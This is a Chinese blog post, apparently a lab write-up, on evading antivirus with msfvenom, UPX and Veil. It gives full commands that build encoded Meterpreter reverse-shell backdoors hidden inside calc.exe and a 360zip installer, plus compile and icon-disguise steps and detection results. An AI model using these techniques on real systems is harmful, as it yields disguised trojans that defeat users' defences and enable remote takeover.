免殺原理與實踐——使用msfvenom與veil繞過殺毒軟體

2022-01-01 系統安全運維
這次的實驗令我非常興奮,因為要對抗的是各大殺毒軟體廠商,所以事先得做好很多功課。另一方面我也想看看metasploit在這場貓鼠遊戲中能不能走在安全廠商的前面。這次的目標免殺平臺是64位windows 7 SP1,我用的windows 7 SP1虛擬機中事先裝了一下殺毒軟體:0x0 裸奔的後門程序在正式開始實驗之前,我們先看一下沒有做免殺的Meterpreter在各個殺毒引擎面前的表現,以此為基準,評估免殺的效果。

可以看出沒有做免殺的Meterpreter是相當容易暴露的。

0x1 MSF編碼器的使用

殺毒軟體廠商的錢不是白賺的,單靠MSF的編碼器要想取得成功非常困難。所以我一開始就準備用msfvenom來個大招!首先,我們不能使用msfvenom的默認模版裝載payload,這麼多安全廠商盯著metasploit,我們最好選擇自己的模版。我決定用360壓縮的安裝包作為模版,並嘗試保留它的原始功能。

其次,必須選擇合適的編碼器。shikata_ga_nai是msf中唯一的評價是excellent的編碼器,這種多態編碼技術使得沒次生成的攻擊載荷文件是不一樣的。這裡我們要使用多重編碼,通過管道,讓msfvenom用不同編碼器反覆編碼進行混淆。因此,我列出這次實驗中msfvenom要用到的參數,供同學們參考:
-a <arch> 設置目標的指令集架構,這裡我們選擇x86即可--platform <platform> 設置目標平臺,這裡是windows,可以通過--help-platforms選項查看msfvenom支持的所有平臺-p <payload> 設置攻擊載荷,我們使用windows/meterpreter/reverse_tcp,可以通過-l payloads查看所有攻擊載荷-e <encoder> 指定編碼器,我會組合使用不同的編碼器,可以通過-l encoders查看所有編碼器-i <count> 指定編碼迭代的次數-x <path> 指定模版-k 該選項可以保留模版原來的功能,將payload作為一個新的線程來注入,但不能保證可以用在所有可執行程序上。-f <format> 指定生成格式,可以是raw,exe,elf,jar,c語言的,python的,java的……,用--help-formats查看所有支持的格式

1)實踐

輸入

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.0.2.6 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -x 360zip_setup_4.0.0.1030.exe -f exe > 360zip_setup.20155110.exe

這裡使用管道讓msfvenom對攻擊載荷多重編碼,先用shikata_ga_nai編碼20次,接著來10次的alpha_upper編碼,再來10次的countdown編碼,最後才生成以360zip_setup_4.0.0.1030.exe為模板的可執行文件。

原始模板的大小只有7.5M,但編碼以後卻增加到了16M!!

把它交給win7靶機測試環境,原始安裝包的功能消失了!,-k參數好像沒發揮作用。

2)測試本地測試我先用本地的一些安全軟體對後門進行檢測,這些軟體的版本信息我寫在前面了。這裡用到技術還是比較單一的,我對測試結果沒報太大希望。火絨安全我剛打開火絨安全軟體,火絨就立馬報毒了,甚至連netcat它都沒放過!!

360安全衛士360安全衛士的檢測結果如下,我們也沒能騙過了360安全衛士,360還是很強的。

在線監測本地檢測局限性比較大,我們通過兩個在線惡意代碼檢測平臺測試一下這個後面程序。VirusTotal太慘了!66個引擎有35個發現後門。畢竟使用的技術過於單一,這也是沒辦法的事情。

0x2 嘗試加殼軟體

upx打包器的原理非常簡單,就是將可執行文件中的代碼和數據進行壓縮,然後將解壓縮用的代碼附加在前面,運行的時候先將原本的可執行數據解壓出來,然後再運行解壓縮後的數據。打包器的本質目的是反調試,防止逆向工程。我們這裡使用打包器的目的是為了改變後門程序的特徵碼。我本來想在上一步的基礎上對後門軟體進行upx加殼,但是,360壓縮的安裝包本身無法用upx加殼,以它為模板的後門程序也沒法用upx加殼。

到這裡,我的思路被打斷了。我覺得這是模板的問題,我應該重新選擇一個模板(而且從之前的實驗看,360壓縮安裝包並不是一個好的模板)新的模板——計算器calc.exe沒辦法,只能選擇新的模板了,我選擇了32位的計算器程序calc.exe作為模板。

輸入:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -x calc.exe -k -f exe > calc.5.1.10.exe

運行這個後門程序,-k參數對該模板是有效的!計算器的功能正常保留了下來,這次的後門有點像樣了!

但是從圖上可以看出來,後門程序的大小比原始程序要大的多。

無法加殼直接輸入upx calc.5.1.10.exe,嘗試對後門程序進行加殼,但失敗了。

但對原始模板calc.exe進行加殼卻沒有問題,輸入
upx calc.exe -o calc_upx.exe

但模板卻沒法運行了……

使用msfvenom的默認模版,使用shikata_ga_nai編碼器編碼20次,然後用upx加殼,看看能不能成功。輸入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.0.2.6 LPORT=5110 -e x86/shikata_ga_nai -i 20 -f exe > backdoor.5.1.10.exe加殼upx backdoor.5.1.10.exe

失敗的加殼火絨和360都輕輕鬆鬆的發現了upx加殼的後門程序。

我覺得應該是默認模板和編碼器的使用過於簡單,即便upx加殼混淆,依然難以達到免殺的效果。

0x3 初探Veil 3.0——用Evasion工具生成後門程序原始碼

Veil-Evasion通過各種不同的語言對shellcode進行改寫,達到免殺的目的。作者在github上聲明原來的Veil-Evasion已經不再維護了,讓用戶使用Veil 3.0。其實兩者使用起來沒有太大差別。veil的官網http://www.veil-framework.com有關於veil使用的教程可以參考。我花了不少時間去安裝veil。一開始從apt中安裝veil失敗了,我乾脆到github上去克隆veil,依然沒有配置好環境(不同於metasploit的主頁,Veil的主頁在github上還是比較冷清,貢獻者不多)因為安裝錯誤,我無法在kali上讓python腳本變成可執行文件,不過使用c語言倒是可以編譯,但倒黴的是,我到64位win7虛擬機居然無法運行這個後門(但我到win10主機可以運行這個後門)。

我立刻改變思路,自行編譯Veil生成的源碼。先生成C語言版本的源碼看看。

考慮到我win7虛擬機的性能,安裝Visual Studio比較困難,我選擇安裝mingw來編譯c/c++,來編譯源碼(雖然mingw編譯正常程序生成的機器碼來說都可能誤報)

我們發現後門的原始碼中使用了socket套接字,mingw手工編譯時需要連結ws2_32庫,輸入指令gcc -o veil_test.5.1.10.exe veil_test.5.1.10.c -lws2_32進行編譯。編譯了C語言版本的veil後門程序後,我把它放到virustotal上檢測了一下,效果非常不錯!只有8個引擎發現問題。

而且火絨安全和360都沒有發現問題

我們開啟這個後門試試,順便看看它能不能躲過 動態檢測。這裡有個小技巧,直接使用veil在/usr/share/veil-output/handler中的rc資源文件啟動metasploit。在win7中打開殺毒軟體,在kali中輸入msfconsole -r veil_test.5.1.10.rc,手動運行後門,成功連接,360沒有任何動靜!

獲取後門的python源碼依然是使用Veil 3.0的Evasion生成後門源碼,這裡我選擇的payload是python/meterpreter/rev_tcp,生成的源碼如下:

Veil作者推薦使用Py2Exe生成可執行文件,之後我們得到了rnume.bat和setup.py安裝腳本。

使用Py2Exe生成可執行文件忘了說了,我事先在win7虛擬機中安裝了Python3.3, py2Exe, PyCrypto, PyWin32,然後才能將python腳本變為可執行文件。直接雙擊 runme.bat 批處理文件就能生成可執行文件了。

免殺效果先放到virustotal上看一下生成的veil_py.5.1.10.exe後門的免殺效果。

在殺毒軟體開啟的情況下,看看它能不能躲過動態查殺。打開msfconsole進入監聽狀態,雙擊啟動後門,雖然我們獲得了會話

想像一下,如果用戶看到這樣的畫面, 一定會立即關閉這個進程!,我們剛剛獲得的Meterpreter會話立刻就會關閉,而且我們的手速來不及做進程遷移我經過多次嘗試,發現如果沒有msfconsole的監聽,點擊veil_py.5.1.10.exe沒有任何反應。一旦msfconsole監聽反彈會話,點擊這個後門就會出現崩潰提示。0x4 用圖標簡單偽裝後門程序為了讓我們的後門程序能夠具有一些欺騙性,我覺得給後門程序添加一個圖標。

在把之前的veil_test.5.1.10和img.o連結起來,生成目標後門程序 veil_img.5.1.10.exe
gcc -o veil_img.5.1.10.exe veil_test.5.1.10.c img.o -lws2_32

總結殺毒軟體的更新是非常快的,這裡給出的方法和過程在今天還是可行的。但過了幾個月之後,免殺技術就有可能出現重大的變化和更新。免殺技術需要不斷地磨練與實踐,才能在實戰中提高成功率。

每日堅持分享好工具好資源,麻煩各位師傅文章底部給點個「再看」,感激不盡

歡迎關注 系統安全運維

覺得不錯點個「贊」、「在看」哦

相關焦點

  • 遠控免殺專題文章(2)-msfvenom隱藏的參數
    本專題文章導航1、遠控免殺專題文章(1)-基礎篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg因為cobaltstrike生成payload比較簡單,這裡不再累述,只是介紹一下msfvenom的基本參數和一些小技巧。
  • CS免殺-PowerShell加載命令免殺
    PS上線命令結合上文的加載器《CS免殺
  • Msfvenom後門重新學習與分析-windows篇
    EXTINIT'] || '')    }     # create the configuration instance based off the parameters    config = Rex::Payloads::Meterpreter::Config.new(config_opts)     # return
  • 矛和盾的遊戲 小談病毒免殺和安軟原理
    下面我們來簡單談談病毒的免殺技術和安軟的防護查殺原理。病毒的免殺技術  運行後效果明顯的惡意代碼很多,但把自己裸露出來的病毒也只能欺負一下同樣是遍體無遮的裸奔電腦。殺毒軟體對病毒的查殺要經過發現這一環,如何躲過殺軟的查找,是一個所有病毒製造者需要思考的問題。
  • Metasploit -- 生成木馬(msfvenom)
    Metasploit -- 攻擊載荷模塊(Payloads)文字版Metasploit -- 滲透攻擊模塊(exploit)文字版Metasploit -- 掃描並分析主機(文字版)Metasploit -- 工作區操作(文字版)Metasploit -- 更新後報錯處理(文字版)作用:生成木馬文件1、msfvenom
  • 深究異或webshell原理以及伺服器處理免殺的流程
    前言之前一直接觸rce;但是總是可以看到過濾就可以考慮無數字和字母的webshell或者免殺馬,但是今天碰到一道題,讓我深刻理解了深究的重要性;不能無腦依靠網上無數字和字母的webshell了;需要知道細節;這裡我們知道,常規的ctf題目中,往往都是採用post或者get進行數據提交;在最後是命令執行;但是要想打到命令執行;需要繞過很多waf;有的層層
  • 【超詳細 | Python】CS免殺-Shellcode Loader原理(python)
    最近在學習cs免殺,由於比較菜只懂python語言,就先了解py是如何實現加載shellcode寫入內存的。
  • Webshell通用免殺的思考
    言歸正傳,在上一篇文章中,講解了webshell如何繞過RASP的方法論,並根據方法論設計了 webshell。雖然有一些繞過方法,但RASP依然是webshell檢測中最強的存在,如果再和HIDS聯動,那些繞過方法在數據捕獲層面都會失效,縱深防禦不是說說而已。今天說的承接上文,依然是webshell的繞過,不過不叫繞過,叫免殺。
  • msfvenom-生成360,騰訊免殺木馬
    收錄於話題 #免殺技術
  • 【免殺72】sRDI反射型DLL注入免殺
    2020年初,從網上搜集了多種免殺工具和方式,匯總整理了遠控免殺專題文章的工具篇、代碼篇、白名單篇等,共70篇文章。現時隔一年,計劃把這個系列繼續補充一些,內容也都是來自網際網路,匯總到一起只是方便大家查閱參考,如有侵權請聯繫刪除。有些免殺方式已經效果一般,但很多思路還是值得去學習的。
  • php異或計算繞過preg_match()
    原理以製作免殺馬為例:在製作免殺馬的過程,根據php的語言特性對字符進行!運算會將字符類型轉為bool類型,而bool類型遇到運算符號時,true會自動轉為數字1,false會自動轉為數字0,如果將bool類型進行計算,並使用chr()函數轉為字符,使用"."
  • 安全平臺免殺使用指南
    ,不過再處理時是以cs為基準對shellcode進行處理的,不保證msf的shellcode也可以免殺後正確執行關於CobaltStrike和Metasploit的使用可以參考我們的公開wiki【CS】https://wiki.wgpsec.org/knowledge/intranet/Cobalt-Strike.html
  • UUID 執行 shellcode 中學到的免殺思路
    在前面的文章中,分析了通過 UUID 執行 shellcode 的原理,在分析的過程中,學習到了一些免殺思路,分享一下在 UUID 執行 shellcode 的實現中,主要用到了 UuidFromStringA 來還原 shellcode 以及利用 EnumSystemLocalesA 來執行指定內存地址的機器碼
  • 殺毒軟體越來越煩:彈窗、插件……
    如果你長年累月地使用過殺毒軟體,不難發現這麼一個現象——殺毒軟體的彈窗總體來說是越來越多了。
  • 殺毒軟體為何越來越煩?談談殺軟彈窗的那點事
    如果你長年累月地使用過殺毒軟體,不難發現這麼一個現象——殺毒軟體的彈窗總體來說是越來越多了。以前的殺毒軟體,裝了就裝了,有病毒才會彈窗警告提示用戶;近幾年的殺毒軟體隨便用戶在系統中進行什麼操作,例如安裝個軟體、修改個設置,都會彈窗問你到底要不要這麼幹!
  • 某變態CTF比賽繞過preg_match
    在圈子中看到了有表哥發變態CTF中preg_match繞過的姿勢,並沒有寫繞過的具體原理及方法,本著學習的態度,查了查資料簡單復現了一下。
  • Mimikatz的18種免殺姿勢及防禦策略(下)
    鄭重聲明:文中所涉及的技術、思路和工具僅供以安全為目的的學習交流使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔!62.png我們團隊的諾言大佬寫過一篇可繞過卡巴斯基獲取hash的方法,可以看這個https://mp.weixin.qq.com/s/WLP1soWz-_BEouMxTHLbzg。